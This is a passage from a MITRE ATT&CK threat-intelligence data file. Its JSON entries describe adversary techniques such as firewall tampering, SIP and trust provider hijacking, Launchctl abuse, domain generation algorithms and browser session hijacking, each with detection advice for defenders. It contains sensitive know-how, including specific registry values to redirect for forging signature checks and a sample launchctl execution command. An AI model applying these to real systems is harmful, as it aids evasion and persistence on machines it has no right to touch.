(Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","Data Execution Prevention"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T19:37:57.867Z","name":"Disable or Modify System Firewall","description":"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Firewall: Firewall Rule Modification","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Firewall: Firewall Disable"],"x_mitre_defense_bypassed":["Firewall"],"type":"attack-pattern","id":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","created":"2020-02-21T21:00:48.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/004","external_id":"T1562.004"},{"source_name":"Huntress BlackCat","description":"Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.","url":"https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"},{"source_name":"change_rdp_port_conti","description":"The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.","url":"https://x.com/TheDFIRReport/status/1498657772254240768"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-20T00:07:58.958Z","name":"Archive Collected Data","description":"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_deprecated":false,"x_mitre_detection":"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Script: Script Execution","Process: Process Creation","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","created":"2020-02-20T20:53:45.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1560","external_id":"T1560"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Wikipedia File Header Signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","url":"https://en.wikipedia.org/wiki/List_of_file_signatures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1152","url":"https://attack.mitre.org/techniques/T1152"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"}],"modified":"2020-03-10T18:31:00.336Z","name":"Launchctl","description":"Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","created":"2020-02-05T19:34:04.910Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1553.003","url":"https://attack.mitre.org/techniques/T1553/003"},{"source_name":"Entrust Enable CAPI2 Aug 2017","url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018."},{"source_name":"GitHub SIP POC Sept 2017","url":"https://github.com/mattifestation/PoCSubjectInterfacePackage","description":"Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018."},{"source_name":"SpectorOps Subverting Trust Sept 2017","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018."},{"source_name":"Microsoft Catalog Files and Signatures April 2017","url":"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files","description":"Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018."},{"source_name":"Microsoft Audit Registry July 2012","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018."},{"source_name":"Microsoft Registry Auditing Aug 2016","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018."},{"source_name":"Microsoft Authenticode","url":"https://msdn.microsoft.com/library/ms537359.aspx","description":"Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018."},{"source_name":"Microsoft WinVerifyTrust","url":"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx","description":"Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018."},{"source_name":"EduardosBlog SIPs July 2008","url":"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/","description":"Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","modified":"2022-05-05T04:58:58.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"SIP and Trust Provider Hijacking","x_mitre_detection":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Module: Module Load","File: File Modification"],"x_mitre_defense_bypassed":["Autoruns Analysis","Digital Certificate Validation","User Mode Signature Validation","Application Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sylvain Gil, Exabeam","Barry Shteiman, Exabeam","Ryan Benson, Exabeam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--54456690-84de-4538-9101-643e26437e09","type":"attack-pattern","created":"2019-02-18T17:22:57.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1483","url":"https://attack.mitre.org/techniques/T1483"},{"source_name":"Cybereason Dissecting DGAs","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."},{"source_name":"Cisco Umbrella DGA","url":"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/","description":"Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019."},{"source_name":"Unit 42 DGA Feb 2019","url":"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/","description":"Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"source_name":"Akamai DGA Mitigation","url":"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html","description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"},{"source_name":"ESET Sednit 2017 Activity","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."},{"source_name":"Data Driven Security DGA","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."},{"source_name":"Pace University Detecting DGA May 2017","url":"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf","description":"Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."},{"source_name":"Elastic Predicting DGA","url":"https://arxiv.org/pdf/1611.00791.pdf","description":"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."}],"modified":"2020-11-10T18:28:56.957Z","name":"Domain Generation Algorithms","description":"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Justin Warner, ICEBRG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1185","external_id":"T1185"},{"url":"https://en.wikipedia.org/wiki/Man-in-the-browser","description":"Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.","source_name":"Wikipedia Man in the Browser"},{"url":"https://www.cobaltstrike.com/help-browser-pivoting","description":"Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.","source_name":"Cobalt Strike Browser Pivot"},{"url":"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses","description":"De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.","source_name":"ICEBRG Chrome Extensions"},{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:15.229Z","name":"Browser Session Hijacking","description":"Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: Process Access","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-03-01T15:35:38.299Z","name":"Remote Services","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Dan Borges, @1njection"],"x_mitre_deprecated":false,"x_mitre_detection":"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","IaaS"],"x_mitre_version":"1.5","x_mitre_data_sources":["Module: Module Load","Network Traffic: Network Connection Creation","Command: Command Execution","Network Share: Network Share Access","WMI: WMI Creation","Logon Session: Logon Session Creation","Network Traffic: Network Traffic Flow","Process: Process Creation"],"x_mitre_system_requirements":["Active remote service accepting connections and valid credentials"],"type":"attack-pattern","id":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","created":"2017-05-31T21:30:29.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021","external_id":"T1021"},{"source_name":"Apple Remote Desktop Admin Guide 3.3","description":"Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.","url":"https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"},{"source_name":"Remote Management MDM macOS","description":"Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.","url":"https://support.apple.com/en-us/HT209161"},{"source_name":"Kickstart Apple Remote Desktop commands","description":"Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.","url":"https://support.apple.com/en-us/HT201710"},{"source_name":"Lockboxx ARD 2019","description":"Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.","url":"http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"},{"source_name":"FireEye 2019 Apple Remote Desktop","description":"Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.","url":"https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"},{"source_name":"TechNet Remote Desktop Services","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"},{"source_name":"SSH Secure Shell","description":"SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.","url":"https://www.ssh.com/ssh"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:28:59.928Z","name":"Mail 